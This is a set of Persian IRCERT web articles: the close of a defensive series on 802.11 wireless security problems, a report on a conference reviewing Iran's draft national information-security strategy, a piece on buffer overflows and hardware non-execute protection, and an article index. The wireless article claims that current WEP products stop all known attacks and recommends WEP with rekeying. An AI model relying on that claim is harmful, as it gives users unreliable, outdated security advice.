شبکه های 802.11 فریم ها را تأیید هویت نمی کنند. هر فریم یک آدرس مبداء دارد، اما تضمینی وجود ندارد که ایستگاه فرستنده واقعاً فریم را ارسال کرده باشد! در واقع همانند شبکه های اترنت سنتی، مراقبتی در مقابل جعل مبداء آدرس ها وجود ندارد. نفوذگران می توانند از فریم های ساختگی برای هدایت ترافیک و تخریب جداول ARP (Address Resolution Protocol) استفاده کنند. در سطحی بسیار ساده تر، نفوذگران می توانند آدرس های (MAC (Medium Access Control ایستگاه های در حال استفاده را مشاهده کنند و از آن آدرس ها برای ارسال فریم های بدخواهانه استفاده کنند. برای جلوگیری از این دسته از حملات، مکانیسم تصدیق هویت کاربر برای شبکه های 802.11 در حال ایجاد است. با درخواست هویت از کاربران، کاربران غیرمجاز از دسترسی به شبکه محروم می شوند. اساس تصدیق هویت کاربران استاندارد 802.1x است که در ژوئن 2001 تصویب شده است. 802.1x می تواند برای درخواست هویت از کاربران به منظور تأیید آنان قبل از دسترسی به شبکه مورد استفاده قرار گیرد، اما ویژگی های دیگری برای ارائه تمام امکانات مدیریتی توسط شبکه های بی سیم مورد نیاز است.

نفوذگران می توانند از فریم های جعل شده در حملات اکتیو نیز استفاده کنند. نفوذگران علاوه بر ربودن نشست ها (sessions) می توانند از فقدان تصدیق هویت نقاط دسترسی بهره برداری کنند. نقاط دسترسی توسط پخش فریم های Beacon (چراغ دریایی) مشخص می شوند. فریم های Beacon توسط نقاط دسترسی ارسال می شوند تا کلاینت ها قادر به تشخیص وجود شبکه بی سیم و بعضی موارد دیگر شوند. هر ایستگاهی که ادعا می کند که یک نقطه دسترسی است و SSID (Service Set Identifier) که معمولاً network name نیز نامیده می شود، منتشر می کند، به عنوان بخشی از شبکه مجاز به نظر خواهد رسید. به هرحال، نفوذگران می توانند به راحتی تظاهر کنند که نقطه دسترسی هستند، زیرا هیچ چیز در 802.11 از نقطه دسترسی نمی خواهد که ثابت کند واقعاً یک نقطه دسترسی است. در این نقطه، یک نفوذگر می تواند با طرح ریزی یک حمله man-in-the-middle گواهی های لازم را سرقت کند و از آنها برای دسترسی به شبکه استفاده کند. خوشبختانه، امکان استفاده از پروتکل هایی که تأیید هویت دوطرفه را پشتیبانی می کنند در 802.1x وجود دارد. با استفاده از پروتکل TLS (Transport Layer Security)، قبل از اینکه کلاینت ها گواهی های هویت خود را ارائه کنند، نقاط دسترسی باید هویت خود را اثبات کنند. این گواهی ها توسط رمزنگاری قوی برای ارسال بی سیم محافظت می شوند. ربودن نشست حل نخواهد شد تا زمانی که 802.11 MAC تصدیق هویت در هر فریم را به عنوان بخشی از 802.11i بپذیرد.

راه حل شماره۵ : پذیرش پروتکل های قوی و استفاده از آنها

تا زمان تصویب 802.11i جعل MAC یک تهدید خواهد بود. مهندسان شبکه باید روی خسارت های ناشی از جعل MAC تمرکز کنند و شبکه های بی سیم را تا آنجا که ممکن است از شبکه مرکزی آسیب پذیرتر جدا کنند. بعضی راه حل ها جعل AP (نقاط دسترسی( را کشف می کنند و به طور پیش فرض برای مدیران شبکه علائم هشدار دهنده تولید می کنند تا بررسی های بیشتری انجام دهند. در عین حال، می توان فقط با استفاده از پروتکل های رمزنگاری قوی مانند IPSec از نشست ربایی! جلوگیری کرد. آنالایزرها می توانند در بخشی از تحلیل فریم های گرفته شده، سطح امنیتی مورد استفاده را تعیین کنند. این تحلیل می تواند در یک نگاه به مدیران شبکه بگوید آیا پروتکل های امنیتی مطلوبی استفاده می شوند یا خیر.

علاوه بر استفاده از پروتکل های VPN قوی، ممکن است که تمایل به استفاده از تصدیق هویت قوی کاربر با استفاده از 802.1x داشته باشید. بعضی جزئیات آنالیز وضعیت تصدیق 802.1x، نتایج باارزشی روی قسمت بی سیم تبادل تصدیق هویت 802.1x ارائه می کند. هنگام انجام نظارت بر سایت، آنالایزر نوع تصدیق هویت را مشخص می کند و این بررسی به مدیران شبکه اجازه می دهد که محافظت از کلمات عبور توسط رمزنگاری قوی را تضمین کنند.


﻿ IRCERT - هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 – بخش آخر - مقالات

هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 – بخش آخر

در مقاله قبل با پنجمین مسأله مربوط به شبکه های بی سیم آشنا شدیم. در این شماره به مساله ششم و هفتم و راه حل مربوط به آن ها می پردازیم.

مسأله شماره ۶: تحلیل ترافیک و استراق سمع

802.11 هیچ محافظتی علیه حملاتی که بصورت غیرفعال (passive) ترافیک را مشاهده می کنند، ارائه نمی کند. خطر اصلی این است که 802.11 روشی برای تامین امنیت دیتای در حال انتقال و جلوگیری از استراق سمع فراهم نمی کند. Header فریم ها همیشه «in the clear» هستند و برای هرکس با در اختیار داشتن یک آنالایزر شبکه بی سیم قابل مشاهده هستند. فرض بر این بوده است که جلوگیری از استراق سمع در مشخصات (WEP (Wired Equivalent Privacy ارائه گردد. بخش زیادی در مورد رخنه های WEP نوشته شده است که فقط از اتصال ابتدایی بین شبکه و فریم های دیتای کاربر محافظت می کند. فریم های مدیریت و کنترل توسط WEP رمزنگاری و تصدیق هویت نمی شوند و به این ترتیب آزادی عمل زیادی به یک نفوذگر می دهد تا با ارسال فریم های جعلی اختلال به وجود آورد. پیاده سازی های اولیه WEP نسبت به ابزارهای crack مانند AirSnort و WEPcrack آسیب پذیر هستند، اما آخرین نسخه ها تمام حملات شناخته شده را حذف می کنند. به عنوان یک اقدام احتیاطی فوق العاده، آخرین محصولات WEP یک گام فراتر می روند و از پروتکل های مدیریت کلید برای تعویض کلید WEP در هر پانزده دقیقه استفاده می کنند. حتی مشغول ترین LAN بی سیم آنقدر دیتا تولید نمی کند که بتوان در پانزده دقیقه کلید را بازیافت کرد.

راه حل شماره۶ : انجام تحلیل خطر

هنگام بحث در مورد خطر استراق سمع، تصمیم کلیدی برقراری توازن بین خطر استفاده از WEP تنها و پیچیدگی بکارگیری راه حل اثبات شده دیگری است. در وضعیت فعلی برای امنیت لایه لینک، استفاده از WEP با کلیدهای طولانی و تولیدکلید پویا توصیه می شود. WEP تا حد زیادی مورد کنکاش قرار گرفته است و پروتکل های امنیتی علیه تمام حملات شناخته شده تقویت شده اند. یک قسمت بسیار مهم در این تقویت، زمان کم تولید مجدد کلید است که باعث می شود نفوذگر نتواند در مورد خصوصیات کلید WEP ، قبل از جایگزین شدن، اطلاعات عمده ای کسب کند.

اگر شما استفاده از WEP را انتخاب کنید، باید شبکه بی سیم خود را نظارت کنید تا مطمئن شوید که مستعد حمله AirSnort نیست. یک موتور آنالیز قوی به طور خودکار تمام ترافیک دریافت شده را تحلیل می کند و ضعف های شناخته شده را در فریم های محافظت شده توسط WEP بررسی می کند. همچنین ممکن است بتواند نقاط دسترسی و ایستگاه هایی را که WEP آنها فعال نیست نشان گذاری کند تا بعداً توسط مدیران شبکه بررسی شوند. زمان کوتاه تولید مجدد کلید ابزار بسیار مهمی است که در کاهش خطرات مربوط به شبکه های بی سیم استفاده می شود. بعنوان بخشی از نظارت سایت، مدیران شبکه می توانند از آنالایزرهای قوی استفاده کنند تا مطمئن شوند که سیاست های تولید کلید مجدد WEP توسط تجهیزات مربوطه پیاده سازی شده اند.

اگر از LAN بی سیم شما برای انتقال دیتای حساس استفاده می شود، ممکن است WEP برای نیاز شما کافی نباشد. روش های رمزنگاری قوی مانند SSH، SSL و IPSec برای انتقال دیتا به صورت امن روی کانال های عمومی طراحی شده اند و برای سال ها مقاومت آنها در برابر حملات ثابت شده است، و یقیناً سطوح بالاتری از امنیت را ارائه می کنند. نمایشگرهای وضعیت نقاط دسترسی می توانند بین نقاط دسترسی که از WEP، 802.1x و VPN استفاده می کنند، تمایز قائل شوند تا مدیران شبکه بتوانند بررسی کنند که آیا در آنها از سیاست های رمزنگاری قوی تبعیت می شود یا خیر.

علاوه بر استفاده از پروتکل های VPN قوی، ممکن است که تمایل به استفاده از تصدیق هویت قوی کاربر با استفاده از 802.1x داشته باشید. بعضی جزئیات آنالیز وضعیت تصدیق 802.1x، نتایج باارزشی روی قسمت بی سیم تبادل تصدیق هویت 802.1x ارائه می کند. آنالایزر هنگام انجام نظارت بر سایت، نوع تصدیق هویت را مشخص می کند و این بررسی به مدیران شبکه اجازه می دهد که محافظت از کلمات عبور توسط رمزنگاری قوی را تضمین کنند.

مسأله شماره ۷: حملات سطح بالاتر

هنگامی که یک نفوذگر به یک شبکه دسترسی پیدا می کند، می تواند از آنجا به عنوان نقطه ای برای انجام حملات به سایر سیستم ها استفاده کند. بسیاری از شبکه ها یک پوسته بیرونی سخت دارند که از ابزار امنیت پیرامونی تشکیل شده، به دقت پیکربندی شده و مرتب دیده بانی می شوند. اگرچه درون پوسته یک مرکز آسیب پذیر نرم قرار دارد. LANهای بی سیم می توانند به سرعت با اتصال به شبکه های اصلی آسیب پذیر مورد استفاده قرار گیرند، اما به این ترتیب شبکه در معرض حمله قرار می گیرد. بسته به امنیت پیرامون، ممکن است سایر شبکه ها را نیز در معرض حمله قرار دهد، و می توان شرط بست که اگر از شبکه شما به عنوان نقطه ای برای حمله به سایر شبکه ها استفاده شود، حسن شهرت خود را از دست خواهید داد.

راه حل شماره۷ : هسته را از LAN بی سیم محافظت کنید

به دلیل استعداد شبکه های بی سیم برای حمله، باید به عنوان شبکه های غیرقابل اعتماد مورد استفاده قرار بگیرند. بسیاری از شرکت ها درگاه های دسترسی guest در اتاق های آموزش یا سالن ها ارائه می کنند. شبکه های بی سیم به دلیل احتمال دسترسی توسط کاربران غیرقابل اعتماد می توانند به عنوان درگا ه های دسترسی guest تصور شوند. شبکه بی سیم را بیرون منطقه پیرامون امنیتی شرکت قرار دهید و از تکنولوژی کنترل دسترسی قوی و ثابت شده مانند یک فایروال بین LAN بی سیم و شبکه مرکزی استفاده کنید، و سپس دسترسی به شبکه مرکزی را از طریق روش های VPN تثبیت شده ارائه کنید.

نتیجه گیری

یک موضوع مشترک مسائل امنیت این است که مکانیسم های تکنولوژیکی برای بسیاری از رخنه های مشاهده شده وجود دارد و به خوبی درک می شوند، اما باید به منظور محافظت از شبکه فعال شوند. اقدامات پیشگیرانه معقول می توانند شبکه های بی سیم را برای هر سازمانی که می خواهد فوائد سیار بودن و انعطاف پذیری را در کنار هم گرد آورد، امن کنند. همراه با به کارگیری بسیاری از تکنولوژی های شبکه، ایده اصلی و کلیدی، طراحی شبکه با در نظر داشتن امنیت در ذهن است. بعلاوه انجام نظارت های منظم را برای تضمین اینکه طراحی انجام شده اساس پیاده سازی است، باید در نظر داشت. یک آنالایزر شبکه بی سیم یک ابزار ضروری برای یک مهندس شبکه بی سیم است.


﻿ IRCERT - گزارش همایش بررسی پیش نویس سند ملی امنیت فضای تبادل اطلاعات کشور (افتا) - مقالات

گزارش همایش بررسی پیش نویس سند ملی امنیت فضای تبادل اطلاعات کشور (افتا)

روز چهارشنبه، نهم دیماه، به طور کاملاً اتفاقی سایت شورای عالی امنیت فضای تبادل اطلاعات کشور (افتا) را دیدم و در صفحه اول سایت، پوستر همایش ارائه، بررسی و نقد سند راهبرد ملی امنیت فضای تبادل اطلاعات کشور را مشاهده کردم! برایم جالب بود که تا به حال خبری از آماده سازی سند منتشر نشده و حتی درباره همایش فوق الذکر نیز اطلاع رسانی مناسبی انجام نشده بود. جهت حضور در همایش تماسی با دبیرخانه شورا گرفته شد که در پاسخ ما را به مرکز امنیت شبکه شریف ـ مجری همایش ـ راهنمایی کردند. طی تماس تلفنی با مرکز امنیت شبکه شریف گله کردم که چرا هیچ گونه خبر و اطلاعاتی درباره سند و همایش منتشر نشده است. پاسخ شنیدم که برای متخصصان، کارشناسان و فعالان در این زمینه دعوتنامه ارسال شده است. از ما هم خواسته شد فاکس بفرستیم و لیست اسامی کسانی را که می خواهند در همایش حضور بیابند اعلام کنیم. این کار در همان روز انجام شده و قرار شد که روز شنبه ۱0/۱2 پاسخ را دریافت کنیم. شنبه بعدازظهر طی تماسی که با مرکز داشتیم به ما گفته شد که به دلیل کمبود جا و ثبت نام بیش از حد ظرفیت، از پذیرش افراد جدید معذورند. با چند تلفن متوجه شدیم که بسیاری از رسانه های فعال در زمینه IT نه تنها دعوت نشده اند که حتی از این موضوع خبر نیز ندارند. در همین حین و حدود ساعت 15:10 فاکس جالبی به دفتر بعضی مجلات ارسال شد . در این فاکس از خبرنگاران آن مجموعه جهت شرکت در مصاحبه ای با آقای مهندس جعفری – دبیر محترم شورای عالی افتا – دعوت شده بود. تا اینجا مشکلی نبود ولی با دیدن ساعت برگزاری مصاحبه که 16 بود، تعجب ما بیشتر شد که چطور توقع می رود که بدون هیچ اطلاع قبلی خبرنگاران بتوانند ظرف مدت 50 دقیقه از گوشه و کنار تهران خود را به مجموعه ریاست جمهوری برسانند.

به هرحال با همکاری جناب آقای دکتر جلیلی – دبیر محترم همایش و رئیس مرکز امنیت شبکه شریف – بالاخره توانستیم در همایش حضور یابیم و آنچه در ذیل می خوانید، گزارشی کوتاه از این همایش است. نکته ای که تذکر آن ضروری به نظر می رسد این است که همایش فضای تبادل اطلاعات و سند راهبردی آن گرچه مرتبط با “امنیت” است اما یک موضوع محرمانه امنیتی نیست که نتوان در باره آن اطلاع رسانی کرد. ضمنا پیش نویس سند در حال حاضر از سایت شورا قابل دریافت است.

مطابق با برنامه اعلام شده روز دوشنبه 14دیماه در دانشگاه صنعتی شریف، سالن جابربن حیان حضور یافتیم. قرار بود از ساعت 8 تا ۸:۳۰ ثبت نام انجام شود و در ساعت ۸:۴۰ پس از تلاوت قرآن مجید، اهداف همایش توسط دکتر جلیلی تبیین شود. ما هم پس از ثبت نام حدود ۸:۴۰ وارد سالن شدیم اما با کمال تعجب متوجه شدیم که ظاهراً برنامه زودتر شروع شده است، لذا صحبت های دکتر جلیلی را نشنیدیم و به اواسط صحبت های مهندس جعفری درباره ارائه کلیات سند رسیدیم. وی با اشاره به زحماتی که برای تهیه سند از حدود 10 ماه پیش کشیده شده متذکر شد که حدود 18000 نفرساعت کار کارشناسی بر روی سند انجام گرفته و در نتیجه حدود 1790 صفحه سند تولید شده است. وی خاطرنشان کرد که تهیه سند افتا براساس بند ج ماده ۴۴ برنامه چهارم توسعه به دولت تکلیف شده و امروز پیش نویس این سند تهیه شده و آماده نقد و ارائه نظر عمومی است.

دکتر عارف، معاون رئیس جمهور و رئیس شورای عالی افتا، پس از مهندس جعفری به سخنرانی پرداخت. وی طی سخنانش به اهمیت فاوا (فناوری اطلاعات و ارتباطات) اشاره کرد و بر ضرورت وجود امنیت برای تکمیل فاوا تأکید کرد. وی سند افتا را یک سند بسیار باارزش در کشور دانست که در تمامی حوزه ها تأثیرگذار است. وی تصریح کرد: امروز تمامی شبکه های زیربنایی کشور باید امن باشد و بحث های امنیتی برای ما بسیار مهم است. دکتر عارف تأمین افتا را اولویت ملی و ضرورت تحقق اهداف چشم انداز بیست ساله و اجرای برنامه های کلان جمهوری اسلامی ایران دانست و ادامه داد: هرچند که بنا داریم از تشکیلات موازی جلوگیری کنیم و سیاست دولت تحدید تشکیلات و کاهش متصدی گری است اما اگر لازم باشد، توسعه تشکیلات در دستگاه های اصلی و یا تشکیلات ملی باید ایجاد شود تا بتوانیم فعالیت ها را بطور جدی دنبال کنیم. چون فعالیت افتا یک فعالیت جدید است، نباید نگاه تحدید تشکیلاتی به آن داشته باشیم به شرطی که این نوع نگاه فقط منحصر با این حوزه باشد.

وی همچنین به تاریخچه این شورا اشاره کرد و پیشنهاد انجمن رمز در آبان سال گذشته را پایه تشکیل شورای عالی افتا در اسفند ۸۲ معرفی کرد. وی با اظهار امیدواری به اجرای سند گفت: “ تفاوت ما با کشورهای توسعه یافته این است که آنها سند را می نویسند که اجرا کنند اما ما می نویسیم که نوشته باشیم!”

قابل به ذکر است که طی سخنرانی معاون اول رئیس جمهور، دوبار برق سالن به مدت چند ثانیه رفت و سالن همایش در تاریکی مطلق فرو رفت که ظاهراً علّت آن قطعی برق سراسری و بازه زمانی مورد نیاز جهت وارد مدار شدن برق اضطراری دانشگاه بود.

با پایان سخنان دکتر عارف، مراسم افتتاحیه همایش پایان یافت و پس از پذیرایی و در ساعت ۱۰:۳۰ بخش دوم همایش با موضوع معرفی سند آغاز شد. در این بخش ابتدا دکتر برنجکوب به رویکرد دیگر کشورها به سند راهبردی ملی امنیت پرداخت و به مقایسه نگرش دو کشور آمریکا و فنلاند به شیوه تدوین سند و دلایل آن پرداخت. نکته جالب آن بود که آمریکا به تازگی و بعد از حادثه ۱۱ سپتامبر و با هدف جلوگیری از حملات علیه زیرساختهای حیاتی کشور به فکر تدوین این سند افتاده است. اما فنلاند از تدوین این سند افزایش رفاه اجتماعی مردم خود را مدنظر دارد. پس از دکتر برنجکوب، دکتر غریبی به مدل برنامه ریزی راهبردی برای سند راهبردی ملی امنیت پرداخت و دکتر جلیلی به معرفی سند راهبرد ملی افتا پرداخت. رئیس مرکز امنیت شبکه شریف در ابتدا به دلایل و شیوه تدوین سند پرداخت. وی با اشاره به مدل مورد استفاده جهت تدوین سند (swot) راهبردهای اولیه و نهایی را با توجه به قوتها، فرصتها، تهدیدها و ضعفها معرفی کرد. در پایان دکتر جلیلی پیش نویس تهیه شده را مرور کرد و بخش های مختلف آن را معرفی نمود. بخش دوم همایش با سخنرانی مهندس خالقی با موضوع زیرساختهای فنی افتا پایان یافت.

نشست های بعدازظهر که با حدود یک ربع تأخیر و در ساعت 13:45 آغاز شد به نقد سند اختصاص داشت. در نشست اول با موضوع نقد تخصصی سند راهبرد ملی افتا به ترتیب آقایان دکتر ولوی و مهندس پورآذین سخنرانی کردند و سپس حاضران به بیان نظرات و انتقادات خود پرداختند. از جمله مهمترین موارد مطرح شده در این نشست می توان به موارد زیر اشاره کرد:

- ظاهراً به جز دولت سایر بخش های حکومت در این سند دیده نشده اند. برای مثال در اقدام ۸-۲ ، ایجاد نظام مقابله با جرایم فتا شامل ایجاد دادگاه ها و آموزش قضاوت و ... به عهده وزارت کشور گذارده شده است در حالی که این کار وظیفه قوه قضائیه است.

- بعضی حاضران سند ملی را بدون توجه به ساختار و نیازهای کشور و در واقع منطبق با سند ملی آمریکا می دانستند. برای مثال در سند ملی افتا ایجاد نظام ارزیابی فنی افتا، ایجاد نظام ارزیابی امنیتی مدیریت افتا (مانند مراکز صدور گواهی) و ایجاد نظام ارزیابی امنیت محصولات افتا (مانند ایجاد آزمایشگاه های ارزیابی امنیتی محصولات) بر عهده سازمان مدیریت و برنامه ریزی گذارده شده که به نظر کارشناسان و با توجه به توانایی های این سازمان، وظایف فوق الذکر در سازمان مدیریت قابل انجام نیست.

- یکی از اساتید دانشگاه دفاع ملی با انتقاد از روند تهیه سند، مطالعه انجام شده جهت تدوین سند را کافی ندانست و اشاره کرد که استراتژی ها به شکل صحیحی تدوین نشده اند. وی با اشاره به زمان ذکر شده در برنامه چهارم توسعه (اسفند ۸۴) جهت آماده سازی سند، درخواست کرد که با استفاده از فرصت، به کار روی این پیش نویس پرداخته شود تا در آن زمان سند کامل و آماده شود.

- یکی از کارشناسان و متخصصان سازمان مدیریت نیز با انتقاد از روند کاری ریاست جمهوری پرسید : “چرا ریاست جمهوری خود به کارهای اجرایی روی می آورد؟ پس وزارت ارتباطات و فناوری اطلاعات چه کاره است؟ اضافه شدن یک شورایعالی به شوارهای عالی چه فایده دارد، در حالیکه این شورا نیز مسیر شورایعالی اطلاع رسانی را می پیماید؟”

- مهندس پورآذین نیز با واردآوردن انتقاداتی جدی به سند آن را منطبق با تکنولوژی جدید ندانست.

در نشست دوم که به میزگرد و نقد عمومی سند اختصاص داشت، مهندس جعفری دبیر شورای عالی و دکتر جلیلی دبیر همایش حضور داشتند و قرار بود رؤسای چهار کمیته ذیل شورا که به تدوین سند کمک کرده اند نیز شرکت داشته باشند، اما تنها دو نفر در این میزگرد حاضر شدند.

دکتر دژپسند، رئیس کمیته اقتصادی - تجاری شورا و معاون وزیر بازرگانی، یکی از افراد حاضر در این میزگرد بود که به معرفی فعالیت های کمیته خود پرداخت. وی این کمیته را متشکل از نمایندگان بانک مرکزی و وزارتخانه های اقتصاد و دارایی، بازرگانی، صنایع و معادن و راه وترابری معرفی کرد که به مباحث افتا در موضوعات اقتصادی و تجاری می پردازند. وی با اشاره به کار انجام شده جهت تهیه سند، قرار گرفتن نام وزارت کشور به عنوان مسؤول تشکیل دادگاه ها را اشکال تایپی دانست. دکتر دژپسند پس از مدت کوتاهی به دلیل گرفتاری های کاری مجبور به ترک میزگرد شد و نقد با حضور سه نفر یعنی آقایان مهندس جعفری، دکتر جلیلی و دکتر سمیعی ادامه یافت.

دکتر سمیعی، رئیس کمیته امور فرهنگی - اجتماعی، نیز با معرفی کمیته خود به شرح فعالیت های انجام شده پرداخت. به گفته وی سازمان صدا و سیما و وزارتخانه های دادگستری، آموزش و پرورش، علوم، تحقیقات و فناوری و فرهنگ و ارشاد اسلامی تشکیل دهنده این کمیته هستند.

به گفته مهندس جعفری کمیته امور دفاعی - امنیتی که متشکل از وزارتخانه های دفاع، امور خارجه، کشور و اطلاعات است زیر نظر مهندس فیروز آبادی به فعالیت می پردازد و کمیته امور زیربنایی نیز که با هدف استمرار خدمات زیربنایی کشور و با ریاست دکتر کرمانشاه فعالیت می کند، از وزارتخانه های راه و ترابری، بهداشت، نیرو و نفت تشکیل شده است.

بنابه گفته مهندس جعفری هریک از کمیته ها سندی را به دبیرخانه شورا ارائه کرده اند و سپس با مطالعات انجام شده توسط دبیرخانه، پیش نویس فعلی تهیه شده است. پس از معرفی ساختار شورا و کمیته ها، حاضران باز به نقد سند پرداختند که موارد ذیل از جمله انتقادات مطرح شده بودند:

- سند ایستاست و پویایی ندارد.

- زیرساختهای فنی فراموش شده اند. تا زمانی که شبکه، پهنای باند و امکانات فنی لازم در سطح کشور وجود نداشته باشند، امن سازی آنها بی معنی است. به عبارت دیگر چیزی باید وجود داشته باشد تا بتوان بر آن حکومت کرد.

- ایجاد ساز و کار قانونی سلامت محتوا که در بند ۴-۳ به آن اشاره شده است، متولی دیگری دارد و به عهده این شورا نیست.

- دستگاه های مجری و همکار در اقدامات و راهبردهای ارائه شده به درستی انتخاب نشده اند.

- الزامات قانونی تصویب سند مشخص نشده است.

پس از پایان نشست دوم، مراسم اختتامیه برگزار گردید که در آن مهندس جهانگرد، دبیر شورای عالی اطلاع رسانی طی سخنانی به اهمیت امنیت اشاره کرد و گفت: هدف ما ایجاد شرایط و محیط امن برای دسترسی مناسب به اطلاعات سالم و یکپارچه است. وی کلیدی ترین موضوع در بحث امنیت را اعتماد و اجماع عمومی ملی دانست و لذا از مردم، سیاست گذاران و اجراکنندگان خواست تا با هم تفاهم داشته باشند. مراسم اختتامیه با جمع بندی مهندس جعفری از همایش به پایان رسید.


﻿ IRCERT - پروسسورهای امن - مقالات

پروسسورهای امن

پاشنه آشیل

شاید تا کنون نام Buffer Overflow یا سرریز بافر را شنیده باشید. بعنوان یک متخصص امنیت شبکه این نام قاعدتا کابوس همیشگی شما بوده است. اگر این نام را نشنیده اید اجازه دهید تا به شکل دیگری مساله را معرفی کنیم: بعنوان یک مدیر شبکه یا کارشناس کامپیوتر بدترین خاطره ماههای گذشته خود را مرور کنید... Blaster!

یک کرم کامپیوتری که برای آلوده کردن تمامی کامپیوترهای سازمان شما تنها به چند ثاینه وقت و یک ارتباط معمولی با اینترنت نیاز داشت و البته یکعدد سیستم عامل ویندوز. طبق معمول پس از شیوع یک کرم اینترنتی با آلودگی بالا همه به دنبال مقصرین اصلی میگردند. میکروسافت در طی تنها چند ماه بارها مجبور به انتشار Patchهای جدید شد و البته بیش از هر زمان دیگری اعتبارش به چالش کشیده شد. اما آیا واقعا مقصر اصلی میکروسافت بود؟

تاریخچه

شروع این ماجرا مربوط به سالها پیش است. طراحان زبان برنامه نویسی C و سپس C++ ظاهرا بیش از حد لازم دمکرات بودند. باید قبول کرد که اغلب اوقات کمکی محافظه کاری اگر چاشنی کار شود نتیجه بهتر خواهد بود! در حالی که اغلب زبانهای برنامه نویسی به شکلی برنامه نویس را در تخصیص و یا کاربری حافظه محدود میکنند این زبان دست برنامه نویس را تا حد امکان باز گذاشته تا جایی که برنامه نویس میتواند یک رشته صد بایتی را در یک حافظه ده بایتی کپی کند. همین ویژگی باعث شد تا برنامه نویسان C کمتر حساسیتی در زمینه چک کردن طول رشته هایی که در یک بافر کپی میشوند از خود نشان دهند. نتیجه همه اینها بوجود آمدن یک سرگرمی بسیار پر طرفدار برای هکرها بود. با چند کلک فنی میتوان به جای رشته ورودی یک رشته طولانی حاوی کد یک Back Door را وارد کرد و نتیجه؟ افتادن کنترل کامل کامپیوتر مورد نظر در دست هکر.

اصل ماجرا به همین سادگی است و در واقع پایه فنی بسیاری از کرمهای اینترنتی و بسیاری از خرابکاری ها همین خطاست. Blaster هم بر اساس وجود یک چنین خطایی در یکی از سرویسهای RPC ویندوز عمل میکرد. اما اگر مشکل به این سادگی است چرا تا کنون برای حل آن اقدامی نشده است؟ خواهید گفت دستکم می شد به برنامه نویسان پیشنهاد کرد که لطفا در هنگام نوشتن برنامه طول رشته های ورودی را حتما با طول بافر چک کنید. بسیار پیشنهاد خوبی است اما دو مشکل بزرگ برای عملی کردن آن وجود دارد. اول اینکه برنامه نویسان C اصلا از این پیشنهاد شما خوششان نخواهد آمد. آنها همیشه کارهای مهمتری از چک کردن طول رشته ها دارند! و دومین نکته اینکه حجم بسیار عظیمی از کدهایی را که قبلا نوشته شده نمیتوان دوباره تغییر داد. این مشکل دوم دقیقا چیزی است که میکروسافت با آن روبروست : کد ویندوز بنا به برخی روایتها ملغمه عجیب و غریبی است که هنوز حتی یادگارهایی از کد داس نیز در آن موجود است.

راه حلهایی برای آینده

واقعیت اینست که تا کنون یک دوجین راه حل برای حل این مشکل پیشنهاد شده است و بسیاری از تکنولوژیهای جدید یکی از اولین ویژگیهای خود را حل این مشکل عنوان میکنند. جاوا و .NET دو مثال خوب برای این قضیه هستند. این دو زبان (اجازه دهید با کمی اغماض .NET را زبان بنامیم هر چند اینگونه نیست) مکانیزمهای سخت گیرانه ای برای مدیریت حافظه دارند و عملا کنترل کامل حافظه برنامه را از دست برنامه نویس خارج میکنند.

اما همانگونه که حدس میزنید این دو نیز همان اشکالهای قبلی را دارند: تغییر تمام کدهای موجود و تبدیل آنها به کدهای جاوا و یا .NET عملی نیست. اینها مشکل را فقط در آینده دور حل کرده اند اما اکنون چاره چیست؟

تغییر دیدگاه

اخیرا شرکت AMD پروسسورهایی را روانه بازار کرده است که مهمترین ویژگی آنها اینست : مقاومت در برابر حمله سرریز بافر. این اولین بار نیست که برای مشکلات نرم افزاری راه حلهای سخت افزاری پیشنهاد میشود. در واقع به نظر میرسد مشکل دارد در جایی حل میشود که اساسا انتظار آن نمیرفت: در پایین ترین سطح سیستم: پروسسور.

همانگونه که پیشتر دیدیم این حمله تنها زمانی امکان پذیر میشود که هکر بتواند بهشی از کد را وارد داده کند و به اجرای آن بپدازد. هر برنامه در هنگام اجرا از بخشهای مختلفی در حافظه تشکیل میشود که مهمترین بخشهای آن عبارتند از دو بخش کد و داده. تا کنون این دو بخش از دید پردازنده ها یکسان بودند و پردازنده تفاوتی بین آنها نمیگذاشت . این تنها نرم افزارها بودند که این تفاوت را درک میکردند. اما ازین پس پردازنده های AMD سری Athlon 64 (برای کامپیوترهای شخصی) و سری Opteron (برای سرورها) این تفاوت را خواهند فهمید. به محض اینکه هکر سعی کند یک قطعه کد را در قسمت مربوط به داده برنامه اجرا کند پردازنده جلوی آنرا خواهد گرفت و یک پیغام خطا برای سیستم عامل ارسال خواهد کرد و سیستم عامل برنامه عامل خطا را خواهد بست.

دقت کنید که کارکرد نهایی این تکنیک وابسته به همکاری کامل سیستم عامل و پردازنده است . به همین دلیل مدیران AMD عملکرد نهایی این تکنیک را در نسخه آینده XP وعده داده اند. البته Intel نیز برای اینکه از قافله عقب نماند خبر از همکاری با میکروسافت برای حل این مشکل داده است. سری آینده Itanium از شرکت اینتل خصلتی مشابه Athlon های AMD خواهد داشت.

افق

آیا این به معنی پایان داستان Blaster یا Slammer است. به نظر نمی رسد اینگونه باشد هر چند باید منتظر نتایج عملی این تکنولوژی باشیم اما از همین اکنون میتوان پیش بینی کرد که هکرها هم راههای جدیدی خواهند یافت. بهر حال این نکته را باید یادآوری کنیم که تا به امروز مهمترین تکنیک مورد استفاده هکرها سرریز بافر بوده ست. با توجه به این نکته روزهای سختی برای آنها در پیش است.


﻿ IRCERT - مقالات

صفحه اول > مقالات

هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 :‌بخش دوم

DomainKeys: اثبات هویت فرستنده ایمیل و حفاظت از آن

هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 :‌بخش اول

امنیت شبکه لایه بندی شده (۶ )

مقایسه تشخیص نفوذ و پیش گیری از نفوذ

امنیت شبکه لایه بندی شده ( (۵

امنیت شبکه لایه بندی شده (۴)

امنیت شبکه لایه بندی شده ( ۳)

امنیت شبکه لایه بندی شده ( ۲)

امنیت شبکه لایه بندی شده (۱)

رویدادهای امنیتی و اقدامات لازم در برخورد با آنها ( Incident Handling)

معاملات اینترنتی امن، واقعاً امن هستند؟

عدم پذیرش سرویس(۳):روش های مقابله

عدم پذیرش سرویس (۲) : انواع حملات

گزارش همایش بررسی پیش نویس سند ملی امنیت فضای تبادل اطلاعات کشور (افتا)

عدم پذیرش سرویس یا DoS (بخش اول)

راهنمای والدین با توجه به سن کودکان

۱ ۰ نکته برای امنیت کودکان در اینترنت

phishing یا دزدی هویت

امنیت در تولید نرم افزارها

ارتباط ربایی!

امنیت در شبکه های بی سیم-بخش هشتم

اولین اتصال یک کامپیوتر به اینترنت(۲)

اولین اتصال یک کامپیوتر به اینترنت(۱)

امنیت در شبکه های بی سیم (بخش هفتم) : ضعف های اولیه ی امنیتی WEP

